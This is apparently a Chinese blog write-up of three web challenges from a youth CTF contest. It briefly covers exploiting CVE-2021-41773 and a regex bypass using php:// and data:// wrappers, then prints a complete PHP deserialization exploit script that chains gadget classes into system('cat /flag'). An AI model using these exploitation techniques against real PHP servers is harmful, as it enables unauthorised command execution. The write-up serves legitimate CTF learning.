强网杯青少年wp

本文最后更新于:2024年4月6日 下午

web1

由题目提示可知存在CVE-2021-41773漏洞

上网查阅资料获得payload

image-20220918155911756

使用burpsuite完成命令执行

web2

F12查看题目源代码发现注释提示存在cream.php

进行代码审计

使用伪协议绕过正则

使用php://input接受数据流 使用data://协议将命令执行代码base64绕过正则

实现代码执行

最后执行cat /flag获得flag

image-20220918155847039

web3

打开网页发现没有内容

根据经验访问/www.zip 获得源代码

发现为PHP反序列化

使用数组绕过正则判断

Get传参data 完成命令执行

Cat /flag获得flag

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php

class Water{
public $waterfall;
public function __construct(){
$this->waterfall = array();
}
public function __get($value){
$function = $this->waterfall;
return $function();
}
}


class Circle{
public $daemon;
protected $dash="system('cat /flag');";
public function __toString(){
return $this->daemon;
}
public function runc($value){//出口
@eval($value);
}
public function __invoke(){
$this->runc($this->dash);
}
}

class Range{
public $horis;
public $link;
public function __construct($link="link"){
$this->link = $link;
echo $link;
}
public function __toString(){
return $this->link->horis;
}
}

class Sliver{
public $secret;
public $resty;
public function __construct($nice="wow"){
$this->secret = $nice;
//echo "My secert --- ".$this->secret."<br>";
}
public function __destruct(){ //入口
if(preg_match("/circle|gopher|http|file|ftp|https|dict|\.\./i", $this->secret)) {
echo "no~no~no~";
}
}
function __wakeup(){
if ($this->secret != 'circle') {
$this->secret = 'circle';
}
}
}

/*
$data = @$_GET['data'];
if(isset($data)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$q);
foreach($q as $v)
{
if(preg_match("/^O/i",$v))
{
die('YOU ARE hacker!!!');
exit();
}
}
unserialize($data);
}
*/
$Circle=new Circle();
//$Circle->dash="echo '1';";

$Water=new Water();
$Water->waterfall=$Circle;

$secret=new Range();
$secret->link=$Water;

$Sliver=new Sliver($secret);

$strr=array();

$strr[]=$Sliver;

$str=serialize($strr);
echo urlencode($str);


?>

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!